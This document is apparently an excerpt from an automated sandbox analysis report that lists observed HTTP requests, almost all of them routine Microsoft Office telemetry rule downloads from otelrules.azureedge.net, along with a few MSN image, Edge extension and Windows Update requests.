Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732448129&P2=404&P3=2&P4=Z%2boaNAXYPrqqMFWHhO0MN3XoTmE5ZexlOPRL4lEwsPWuxyOAy6znkRhs%2bx%2bm8XioCUAaf%2fV9vod8%2bPcIm56zBQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 2P2JZOxPKJVLkuaVrcfwa2Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+GYF7r+LDPyZfxD&MD=V+w7pNhc HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
